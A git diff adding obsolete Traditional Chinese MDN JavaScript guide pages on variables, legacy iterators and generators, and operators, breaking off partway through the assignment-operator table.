+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/變數
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="變數" name="變數">變數</h3>
+<p>你會在你的應用程式中使用變數作為值的名稱。變數的名稱稱為<em>識別子</em>，並遵守以下規則。</p>
+<p>JavaScript 識別子必須以字母、底線 (_)、美金符號 ($) 開頭；之後的字元就可以使用數字 (0-9)。因為 JavaScript 區分大小寫，字母包括從“A”到“Z”的字元（大寫）和從“a”到“z”的字元（小寫）。</p>
+<p>從 JavaScript 1.5 開始，你可以在識別子中使用 ISO 8859-1 或 Unicode 字母，如 å、ü。你也可以使用表列於 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/Unicode#Unicode_%E8%B7%B3%E8%84%AB%E5%BA%8F%E5%88%97" title="zh tw/Core JavaScript 1.5 教學/Unicode#Unicode 跳脫序列">Unicode 跳脫序列</a> 頁面的 \uXXXX 的 Unicode 跳脫序列作為識別子。</p>
+<p>合規則的名稱例子有 <code>Number_hits</code>、<code>temp99</code> 和 <code>_name</code>。</p>
+<h4 id="變數的宣告" name="變數的宣告">變數的宣告</h4>
+<p>你可以使用兩個方法宣告變數︰</p>
+<ul> <li>使用關鍵字 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/var" title="zh tw/Core JavaScript 1.5 參考/語法/var">var</a>。例如，<code>var x = 42</code>。這個語法也可用於宣告 <a class="internal" href="/#%E8%AE%8A%E6%95%B8%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F" title="#變數的作用域">局域和全域</a> 變數。</li> <li>只需簡單的把值代給他。例如，<code>x = 42</code>。這只能宣告 <a class="internal" href="/#%E5%85%A8%E5%9F%9F%E8%AE%8A%E6%95%B8" title="#全域變數">全域變數</a>，並引起嚴格的 JavaScript 警告。你不應該使用這個方法。</li>
+</ul>
+<h4 id="變數的求值" name="變數的求值">變數的求值</h4>
+<p>使用 <code>var</code> 語法宣告、且沒有初始值的變數，這個變數的值是 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E5%B1%AC%E6%80%A7/undefined" title="zh tw/Core JavaScript 1.5 參考/全域屬性/undefined">undefined</a>。</p>
+<p>企圖存取未宣告的變數，將導致 ReferenceError 例外的拋出︰</p>
+<pre class="eval">var a;
+print("The value of a is " + a); // 輸出 "a 的值是 undefined"
+print("The value of b is " + b); // 拋出 ReferenceError 例外
+</pre>
+<p>你可以使用 <code>undefined</code> 確認變數是否有值。在下列代碼中，變數 <code>input</code> 尚未代入值，所以 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/if...else" title="zh tw/Core JavaScript 1.5 參考/語法/if...else">if</a></code> 語法求出的是 <code>true</code>。</p>
+<pre class="eval">var input;
+if(input === undefined){
+  doThis();
+} else {
+  doThat();
+}
+</pre>
+<p>在用於布林邏輯時，<code>undefined</code> 值會被視為 <code>false</code>。例如，下面的代碼會執行函數 <code>myFunction</code>，因為 <code>myArray</code> 元素尚未定義︰</p>
+<pre class="eval">var myArray = new Array();
+if (!myArray[0]) myFunction();
+</pre>
+<p>當你對 null 變數求值時，null 值在用於數值時會被視為 0，而在用於布林邏輯時則視為 false。例如︰</p>
+<pre class="eval">var n = null;
+print(n * 32); // 輸出 0
+</pre><h4 id="變數的作用域" name="變數的作用域">變數的作用域</h4>
+<p>當你在任何函數之外宣告變數時，這個變數就稱為<em>全域</em>變數，因為這個變數可以在整份文件中的任何代碼裡使用。當你在函數之內宣告變數時，這個變數就稱為<em>局域</em>變數，因為這個變數只能在函數之內使用。</p>
+<p>JavaScript 的 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%8D%80%E5%A1%8A%E8%AA%9E%E6%B3%95#%E5%8D%80%E5%A1%8A%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/區塊語法#區塊語法">區塊語法</a> 並沒有作用域；在區塊之內的代碼不會是局域的。例如在下面的代碼中，如果 <code>condition</code> 是 <code>false</code>，結果會輸出 <code>0</code>，而不是拋出例外︰</p>
+<pre class="eval">if (condition) {
+  var x = 5;
+}
+print(x ? x : 0);
+</pre>
+<p>另一個在 JavaScript 中關於變數的獨特行為是，你可以參考稍後才會宣告的變數，而不會引起例外︰</p>
+<pre class="eval">print(x === undefined); // 輸出 "true"
+var x = 3;
+</pre>
+<h4 id="全域變數" name="全域變數">全域變數</h4>
+<p>全域變數其實就是<em>全域物件</em>的屬性。在 Web 頁面中，全域物件是 <a class="internal" href="/zh_tw/DOM/window" title="zh tw/DOM/window">window</a>，所以你可以使用 <code>window.<em>variable</em></code> 語法設定並存取全域變數。</p>
+<p>因此，你可以從另一個視窗或框架，藉由指定視窗或框架的名稱，來存取宣告在視窗或框架裡的全域變數。例如，如果有一個稱為 <code>phoneNumber</code> 的變數是在 <code>FRAMESET</code> 文件中宣告，你可以從名為 <code>parent.phoneNumber</code> 的子框架參考這個變數。</p>
+<h4 id="參閱" name="參閱">參閱</h4>
+<p><a href="/en/Sharp_variables_in_JavaScript" title="en/Sharp_variables_in_JavaScript"> JavaScript 的 Sharp 變數</a></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:值", "Core_JavaScript_1.5_教學:常數") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Variables", "es": "es/Gu\u00eda_JavaScript_1.5/Variables", "fr": "fr/Guide_JavaScript_1.5/Variables", "ja": "ja/Core_JavaScript_1.5_Guide/Variables", "ko": "ko/Core_JavaScript_1.5_Guide/Variables", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Zmienne", "zh-cn": "cn/Core_JavaScript_1.5_Guide/\u53d8\u91cf" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/迭代器和產生器/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/迭代器和產生器/index.html
new file mode 100644
index 0000000000..21029266db
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/迭代器和產生器/index.html
@@ -0,0 +1,293 @@
+---
+title: 迭代器和產生器
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/迭代器和產生器
+---
+<h3 id="迭代器和產生器" name="迭代器和產生器">迭代器和產生器</h3>
+
+<p>處理集合中的每一項是很常見的操作。JavaScript 提供了許多迭代整個集合的方式，從簡單的 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for" title="zh tw/Core JavaScript 1.5 參考/語法/for">for</a></code> 和 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for_each...in" title="zh tw/Core JavaScript 1.5 參考/語法/for each...in">for each</a></code> 循環到 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Array/map" title="zh tw/Core JavaScript 1.5 參考/全域物件/Array/map">map</a>()</code>、<code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E5%85%A8%E5%9F%9F%E7%89%A9%E4%BB%B6/Array/filter" title="zh tw/Core JavaScript 1.5 參考/全域物件/Array/filter">filter</a>()</code> 以及 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%99%A3%E5%88%97%E7%9A%84%E9%81%8B%E7%94%A8#%E9%99%A3%E5%88%97%E7%9A%84%E7%B0%A1%E7%B4%84%E5%BC%8F" title="zh tw/Core JavaScript 1.5 教學/陣列的運用#陣列的簡約式">陣列的簡約式</a>。迭代器和產生器是在 JavaScript 1.7 引入的，帶來在核心語言中直接迭代的觀念，並提供自訂 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for...in" title="zh tw/Core JavaScript 1.5 參考/語法/for...in">for...in</a></code> 和 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for_each...in" title="zh tw/Core JavaScript 1.5 參考/語法/for each...in">for each</a></code> 循環的行為的機制。</p>
+
+<div class="note"><strong>附注:</strong> <code>yield</code> 關鍵字只能在 HTML 裡包有 <code>&lt;script type="application/javascript;version=1.7"&gt;</code> 區塊（或更高的版本）的代碼區塊中使用。 <a class="internal" href="/zh_tw/XUL" title="zh tw/XUL">XUL</a> Script 標記可以存取這些功能，無須這個特別的區塊。</div>
+
+<h4 id="迭代器" name="迭代器">迭代器</h4>
+
+<p>迭代器（Iterator）是一種知道如何從集合裡每次以同樣的方式存取項目的物件。並保持對自己序列內部的目前位置的追蹤。在 JavaScript 中，迭代器是一種提供有能夠返回序列中的下一項的 <code>next()</code> 方法的物件。這個方法可以在序列用盡時，選擇性的出現 <code>StopIteration</code> 例外。</p>
+
+<p>迭代器物件一經建立以後，可以明確的反覆呼叫 <code>next()</code> 來使用，或隱含的使用 JavaScript 的 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for...in" title="zh tw/Core JavaScript 1.5 參考/語法/for...in">for...in</a></code> 和 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for_each...in" title="zh tw/Core JavaScript 1.5 參考/語法/for each...in">for each</a></code> 結構。</p>
+
+<p>可以使用 <code>Iterator()</code> 函數來為物件和陣列建立簡單的迭代器︰</p>
+
+<pre class="eval">var lang = { name: 'JavaScript', birthYear: 1995 };
+var it = Iterator(lang);
+</pre>
+
+<p>一經初始化以後，就可以呼叫 <code>next()</code> 方法依序從物件中存取鍵值對（key-value pair）︰</p>
+
+<pre class="eval">var pair = it.next(); // 鍵值對是 ["name", "JavaScript"]
+pair = it.next(); // 鍵值對是 ["birthYear", 1995]
+pair = it.next(); // 拋出 StopIteration 例外
+</pre>
+
+<p>可以使用 <code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E8%AA%9E%E6%B3%95/for...in" title="zh tw/Core JavaScript 1.5 參考/語法/for...in">for...in</a></code> 循環來取代直接呼叫 <code>next()</code> 方法。循環會在 <code>StopIteration</code> 例外出現的時候自動終止。</p>
+
+<pre class="eval">var it = Iterator(lang);
+for (var pair in it)
+  print(pair); // 依序輸出每一個 [key, value] 對
+</pre>
+
+<p>如果我們只想要迭代物件的鍵（key），我們可以把第二個參數 <code>true</code> 傳給 <code>Iterator()</code> 函數︰</p>
+
+<pre class="eval">var it = Iterator(lang, true);
+for (var key in it)
+  print(key); // 依序輸出每一個鍵
+</pre>
+
+<p>使用 <code>Iterator()</code> 存取物件內容的其中一個好處是已經加入到 <code>Object.prototype</code> 的自訂屬性不會被包含在序列裡。</p>
+
+<p><code>Iterator()</code> 也可以和陣列一起使用︰</p>
+
+<pre class="eval">var langs = ['JavaScript', 'Python', 'C++'];
+var it = Iterator(langs);
+for (var pair in it)
+  print(pair); // 依序輸出每一個 [index, language] 對
+</pre>
+
+<p>如同物件一般，傳入 <code>true</code> 作為第二個參數，將導致迭代出存在於陣列裡的索引︰</p>
+
+<pre class="eval">var langs = ['JavaScript', 'Python', 'C++'];
+var it = Iterator(langs, true);
+for (var i in it)
+  print(i); // 輸出 0，然後是 1，然後是 2
+</pre>
+
+<p>他也可以把 for 循環內部使用的 <code>let</code> 關鍵字的索引和值兩者，代入給區塊作用域的變數，並分割代入︰</p>
+
+<pre class="eval">var langs = ['JavaScript', 'Python', 'C++'];
+var it = Iterator(langs);
+for (let [i, lang] in it)
+ print(i + ': ' + lang); // 輸出 "0: JavaScript" 等等。
+</pre>
+
+<h4 id="自訂的迭代器的定義" name="自訂的迭代器的定義">自訂的迭代器的定義</h4>
+
+<p>有一些物件所表示的集合項，應該以特定的方式來迭代。</p>
+
+<ul>
+ <li>迭代物件的某一範圍，應該一個接著一個返回範圍內的數字。</li>
+ <li>可以使用深度優先或廣度優先的遍歷法來遊覽樹裡的葉項。</li>
+ <li>表示來自資料庫的查詢結果的物件的迭代，應該一行接著一行返回，即使整份結果尚未完全載入到單一的陣列。</li>
+ <li>無限長的數學序列（如費伯納契數列）的迭代，應該要能夠一個接著一個返回，而無須建立無限長的資料結構。</li>
+</ul>
+
+<p>JavaScript 可讓你編寫表示自訂迭代器邏輯的代碼，並把他連結到物件上。</p>
+
+<p>我們將會建立簡單的 <code>Range</code> 物件，這個物件存放了 low 和 high 值。</p>
+
+<pre class="eval">function Range(low, high)
+{
+  this.low = low;
+  this.high = high;
+}
+</pre>
+
+<p>現在我們將會建立自訂的迭代器，使其返回包含在某一範圍內的整數序列。迭代器的界面必須要有由我們提供的 <code>next()</code> 方法，這個方法會返回來自序列的某一項，或拋出 <code>StopIteration</code> 例外。</p>
+
+<pre class="eval">function RangeIterator(range)
+{
+  this.range = range;
+  this.current = this.range.low;
+}
+RangeIterator.prototype.next = function()
+{
+  if (this.current &gt; this.range.high)
+    throw StopIteration;
+  var current = this.current;
+  this.current += 1;
+  return current;
+};
+</pre>
+
+<p>我們的 <code>RangeIterator</code> 就是有範圍限制的實體的實際例子，並維護他自己的 <code>current</code> 屬性用以追蹤他沿著序列已走了多遠。</p>
+
+<p>最後，把我們的 <code>RangeIterator</code> 和 <code>Range</code> 物件連繫在一起，我們需要加入特別的 <code>__iterator__</code> 方法給 <code>Range</code>。這個方法會在當我們試圖迭代 <code>Range</code> 實體的時候呼叫，而且應該會返回 <code>RangeIterator</code> 的實體，這個實體實裝了迭代器的邏輯。</p>
+
+<pre class="eval">Range.prototype.__iterator__ = function()
+{
+  return new RangeIterator(this);
+};
+</pre>
+
+<p>掛在我們自訂的迭代器以後，我們可以迭代實體的某一範圍內，如下︰</p>
+
+<pre class="eval">var range = new Range(3, 5);
+for (var i in range)
+  print(i); // 輸出序列中的 3，然後是 4，然後是 5
+</pre>
+
+<h4 id="產生器︰建構迭代器的較佳方式" name="產生器︰建構迭代器的較佳方式">產生器︰建構迭代器的較佳方式</h4>
+
+<p>儘管自訂的迭代器是很好用的工具，但在建立時的程式設計必須要很謹慎，因為需要明確的維護他們的內部狀態。產生器（Generator）提供另一種更強大的選擇︰可讓你編寫能夠維護自身狀態的單一函數來定義迭代器的演算法。</p>
+
+<p>產生器是一種特殊類型的函數，他的運作方式類似迭代器的生產廠房。只要函數內含有一個以上的 <code>yield</code> 語句，就會變成產生器。</p>
+
+<p>當產生器函數被呼叫的時候，並不會立即執行函數的本體；取而代之的是，他會返回產生器迭代器（generator-iterator）物件。每次呼叫產生器迭代器的 <code>next()</code> 方法，就會執行函數本體直到下一個 <code>yield</code> 語句，並返回他的結果。如果執行到函數的末端或到達 <code>return</code> 語句，就會拋出 <code>StopIteration</code> 例外。</p>
+
+<p>配合例子是最佳的說明︰</p>
+
+<pre class="eval">function simpleGenerator()
+{
+  yield "first";
+  yield "second";
+  yield "third";
+  for (var i = 0; i &lt; 3; i++)
+    yield i;
+}
+
+var g = simpleGenerator();
+print(g.next()); // 輸出 "first"
+print(g.next()); // 輸出 "second"
+print(g.next()); // 輸出 "third"
+print(g.next()); // 輸出 0
+print(g.next()); // 輸出 1
+print(g.next()); // 輸出 2
+print(g.next()); // 拋出 StopIteration
+</pre>
+
+<p>產生器函數可以像類別的 <code>__iterator__</code> 方法一般直接的使用，大幅減少建立自訂的迭代器的代碼量。這裡是我們的 <code>Range</code>，使用產生器重新編寫︰</p>
+
+<pre class="eval">function Range(low, high)
+{
+  this.low = low;
+  this.high = high;
+}
+Range.prototype.__iterator__ = function()
+{
+  for (var i = this.low; i &lt;= this.high; i++)
+    yield i;
+};
+var range = new Range(3, 5);
+for (var i in range)
+  print(i); // 輸出序列中的 3，然後是 4，然後是 5
+</pre>
+
+<p>並不是所有的產生器都會終止；有可能建立出表示無限序列的產生器。下面的產生器實裝了費伯納契數列，每一個元素都是前面兩個元素的合︰</p>
+
+<pre class="eval">function fibonacci()
+{
+  var fn1 = 1;
+  var fn2 = 1;
+  while (1)
+  {
+    var current = fn2;
+    fn2 = fn1;
+    fn1 = fn1 + current;
+    yield current;
+  }
+}
+
+var sequence = fibonacci();
+print(sequence.next()); // 1
+print(sequence.next()); // 1
+print(sequence.next()); // 2
+print(sequence.next()); // 3
+print(sequence.next()); // 5
+print(sequence.next()); // 8
+print(sequence.next()); // 13
+</pre>
+
+<p>產生器函數可以接受參數，這個參數是用來約束第一次被呼叫的函數。產生器可以使用 <code>return</code> 語句來終止（並導致 <code>StopIteration</code> 例外的出現）。下面的 <code>fibonacci()</code> 變體接受選用性的 limit 參數，一旦通過限制就會終止。</p>
+
+<pre class="eval">function fibonacci(limit)
+{
+  var fn1 = 1;
+  var fn2 = 1;
+  while (1)
+  {
+    var current = fn2;
+    fn2 = fn1;
+    fn1 = fn1 + current;
+    <strong>if (limit &amp;&amp; current &gt; limit)</strong>
+      <strong>return;</strong>
+    yield current;
+  }
+}
+</pre>
+
+<h4 id="高階的產生器" name="高階的產生器">高階的產生器</h4>
+
+<p>產生器會計算出要求他們產生的值，這可讓產生器更有效率的表示需要耗費大量計算的序列，甚至是上面示範的無窮數列。</p>
+
+<p>除了 <code>next()</code> 方法以外，產生器迭代器物件還有 <code>send()</code> 方法，可以用來修改產生器的內部狀態。傳遞給 <code>send()</code> 的值將會被視為中止產生器的最後一個 <code>yield</code> 語句的結果。在你可以使用 <code>send()</code> 來傳送指定的值之前，你必須至少呼叫一次 <code>next()</code> 來啟動產生器。</p>
+
+<p>這裡是使用 <code>send()</code> 來重新開始數列的費伯納契數產生器︰</p>
+
+<pre>function fibonacci()
+{
+  var fn1 = 1;
+  var fn2 = 1;
+  while (1)
+  {
+    var current = fn2;
+    fn2 = fn1;
+    fn1 = fn1 + current;
+    <strong>var reset = yield current;
+    if (reset){
+        fn1 = 1;
+        fn2 = 1;
+    }</strong>
+  }
+}
+
+var sequence = fibonacci();
+print(sequence.next());     // 1
+print(sequence.next());     // 1
+print(sequence.next());     // 2
+print(sequence.next());     // 3
+print(sequence.next());     // 5
+print(sequence.next());     // 8
+print(sequence.next());     // 13
+<strong>print(sequence.send(true)); // 1</strong>
+print(sequence.next());     // 1
+print(sequence.next());     // 2
+print(sequence.next());     // 3</pre>
+
+<div class="note"><strong>附注:</strong> 作為有趣的一點，呼叫 <code>send(undefined)</code> 就相當於呼叫 <code>next()</code>。然而，使用除了 undefined 以外的任意值啟動新生的產生器，在呼叫 <code>send()</code> 的時候，將會引起 <code>TypeError</code> 例外。</div>
+
+<p>你可以藉由呼叫產生器的 <code>throw()</code> 方法，並傳入他應該拋出的例外值，強迫產生器拋出例外。例外將會從目前被中止的產生器的位置拋出例外，就如同目前被中止的 <code>yield</code> 被替換成 <code>throw <em>value</em></code> 語句一樣。</p>
+
+<p>如果在拋出例外的處理期間沒有遇到 yield，然後例外將會不斷傳播直到呼叫 <code>throw()</code>，且隨後呼叫 <code>next()</code> 將導致 <code>StopIteration</code> 被拋出。</p>
+
+<p>產生器有可以強迫關閉他自己的 <code>close()</code> 方法。關閉產生器的效果是︰</p>
+
+<ol>
+ <li>執行所有在產生器函數裡的 <code>finally</code> 子句。</li>
+ <li>如果 <code>finally</code> 子句拋出除了 <code>StopIteration</code> 以外的任何例外，例外會被傳播到 <code>close()</code> 方法的呼叫者。</li>
+ <li>產生器終止。</li>
+</ol>
+
+<h4 id="產生器的表達式" name="產生器的表達式">產生器的表達式</h4>
+
+<p>陣列簡約式主要的缺點是他們會造成在記憶體中建構出完整的新陣列。如果輸入的簡約式本身是小型的陣列其開銷還不明顯 - 但如果輸入的是大型的陣列或耗費資源（甚至是無限大）的產生器，新陣列的建立就會產生問題。</p>
+
+<p>產生器能夠延後計算他們要求的所需計算的項的序列。<em>產生器表達式</em>在語法上幾乎等同於 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%99%A3%E5%88%97%E7%9A%84%E9%81%8B%E7%94%A8#%E9%99%A3%E5%88%97%E7%9A%84%E7%B0%A1%E7%B4%84%E5%BC%8F" title="zh tw/Core JavaScript 1.5 教學/陣列的運用#陣列的簡約式">陣列的簡約式</a> - 他們使用圓括弧取代方括號 - 但不是建構陣列，他們建立可以延後執行的產生器。你可以把他們想成建立產生器的簡寫語法。</p>
+
+<p>假設我們有一個迭代器 <code>it</code> 可以迭代出大型的整數序列。我們想要建立可以迭代出雙倍的新迭代器。陣列簡約式會在記憶體中建立含有雙倍值的完整的陣列︰</p>
+
+<pre class="eval">var doubles = [i * 2 for (i in it)];
+</pre>
+
+<p>產生器表達式一方面會建立新的迭代器，能夠建立他們所需的雙倍值︰</p>
+
+<pre class="eval">var it2 = (i * 2 for (i in it));
+print(it2.next()); // 來自 it 的第一個值，雙倍
+print(it2.next()); // 來自 it 的第二個值，雙倍</pre>
+
+<p>如果把產生器表達式當作參數傳給函數，函數呼叫所使用的圓括弧意味著可以省略外部的圓括弧︰</p>
+
+<pre class="eval">var result = doSomething(i * 2 for (i in it));
+</pre>
+
+<p> </p>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:陣列的運用", "Core_JavaScript_1.5_教學:物件模型的細節") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Iterators_and_Generators" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/index.html
new file mode 100644
index 0000000000..de4a47d819
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/index.html
@@ -0,0 +1,29 @@
+---
+title: 運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="運算子" name="運算子">運算子</h3>
+<p>JavaScript 有以下幾種運算子。本節說明運算子，且包含有關運算子優先順序的資訊。</p>
+<ul> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E4%BB%A3%E5%85%A5%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/代入運算子">代入運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E6%AF%94%E8%BC%83%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/比較運算子">比較運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%AE%97%E8%A1%93%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/算術運算子">算術運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E4%BD%8D%E5%85%83%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/位元運算子">位元運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E9%82%8F%E8%BC%AF%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/邏輯運算子">邏輯運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E5%AD%97%E4%B8%B2%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/字串運算子">字串運算子</a></li> <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/特殊運算子">特殊運算子</a></li>
+</ul>
+<p>JavaScript 有一元和二元兩種運算子，以及特殊的三元運算子，也就是條件運算子。二元運算子需要兩個運算元，一個在運算子之前，一個在運算子之後︰</p>
+<pre>operand1 operator operand2
+</pre>
+<p>例如，<code>3+4</code> 或 <code>x*y</code>。</p>
+<p>一元運算子需要一個運算元，可以運算子之前或之後︰</p>
+<pre>operator operand
+</pre>
+<p>或</p>
+<pre>operand operator
+</pre>
+<p><span style="font-family: monospace;">例如，</span><code>x++</code> 或 <code>++x</code>。</p>
+<h4 id="運算子的優先順序" name="運算子的優先順序">運算子的優先順序</h4>
+<p><small><em>按照<a href="/Talk:en/Core_JavaScript_1.5_Guide/Operators#Precedence_Table" title="Talk:en/Core_JavaScript_1.5_Guide/Operators#Precedence_Table">相關的討論</a>，本表採用<strong>由高到低</strong>的優先順序。</em></small></p>
+<table class="fullwidth-table"> <tbody> <tr> <th>運算子類型</th> <th>單獨的運算子</th> </tr> <tr> <td>成員</td> <td>.  []</td> </tr> <tr> <td>呼叫 / 建立實體</td> <td>()  new</td> </tr> <tr> <td>反轉 / 遞增</td> <td>!  ~  -  +  ++  --  typeof  void  delete</td> </tr> <tr> <td>乘法 / 除法</td> <td>*  /  %</td> </tr> <tr> <td>加法 / 減法</td> <td>+  -</td> </tr> <tr> <td>位元位移</td> <td>&lt;&lt;  &gt;&gt;  &gt;&gt;&gt;</td> </tr> <tr> <td>關係</td> <td>&lt;  &lt;=  &gt;  &gt;=  in  instanceof</td> </tr> <tr> <td>等價</td> <td>==  !=  ===  !==</td> </tr> <tr> <td>位元 AND</td> <td>&amp;</td> </tr> <tr> <td>位元 XOR</td> <td>^</td> </tr> <tr> <td>位元 OR</td> <td>|</td> </tr> <tr> <td>邏輯 AND</td> <td>&amp;&amp;</td> </tr> <tr> <td>邏輯 OR</td> <td>||</td> </tr> <tr> <td>條件</td> <td>?:</td> </tr> <tr> <td>代入</td> <td>=  +=  -=  *=  /=  %=  &lt;&lt;=  &gt;&gt;=  &gt;&gt;&gt;=  &amp;=  ^=  |=</td> </tr> <tr> <td>逗號</td> <td>,</td> </tr> </tbody>
+</table>
+<p><small><strong>表 3.1: 運算子的優先順序</strong></small></p>
+<p>有關本表的詳細版本，且附有關於運算子的完整細節，請參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/%E9%81%8B%E7%AE%97%E5%AD%90/%E9%81%8B%E7%AE%97%E5%AD%90%E7%9A%84%E5%84%AA%E5%85%88%E9%A0%86%E5%BA%8F#%E8%A1%A8" title="zh tw/Core JavaScript 1.5 參考/運算子/運算子的優先順序#表">參考的章節</a>。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:表達式", "Core_JavaScript_1.5_教學:運算子:代入運算子") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs", "ja": "ja/Core_JavaScript_1.5_Guide/Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/代入運算子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/代入運算子/index.html
new file mode 100644
index 0000000000..c9b8c8c3bd
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/運算子/代入運算子/index.html
@@ -0,0 +1,64 @@
+---
+title: 代入運算子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/運算子/代入運算子
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="代入運算子" name="代入運算子">代入運算子</h3>
+<p>代入運算子根據右邊運算元的值，把值代入給左邊運算元的值。最基本的代入運算子是等號 (=)，他會把右邊運算元的值代入給左邊運算元的值。也就是說，x = y 就是把 y 的值代入給 x。</p>
+<p>其餘的代入運算子只是標準運算子的簡記法，如下表所示。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>運算子的簡記法</th>
+   <th>意義</th>
+  </tr>
+  <tr>
+   <td>x += y</td>
+   <td>x = x + y</td>
+  </tr>
+  <tr>
+   <td>x -= y</td>
+   <td>x = x - y</td>
+  </tr>
+  <tr>
+   <td>x *= y</td>
+   <td>x = x * y</td>
+  </tr>
+  <tr>
+   <td>x /= y</td>
+   <td>x = x / y</td>
+  </tr>
+  <tr>
+   <td>x %= y</td>
+   <td>x = x % y</td>
+  </tr>
+  <tr>
+   <td>x &lt;&lt;= y</td>
+   <td>x = x &lt;&lt; y</td>
+  </tr>
+  <tr>
+   <td>x &gt;&gt;= y</td>
+   <td>x = x &gt;&gt; y</td>
+  </tr>
+  <tr>
+   <td>x &gt;&gt;&gt;= y</td>
+   <td>x = x &gt;&gt;&gt; y</td>
+  </tr>
+  <tr>
+   <td>x &amp;= y</td>
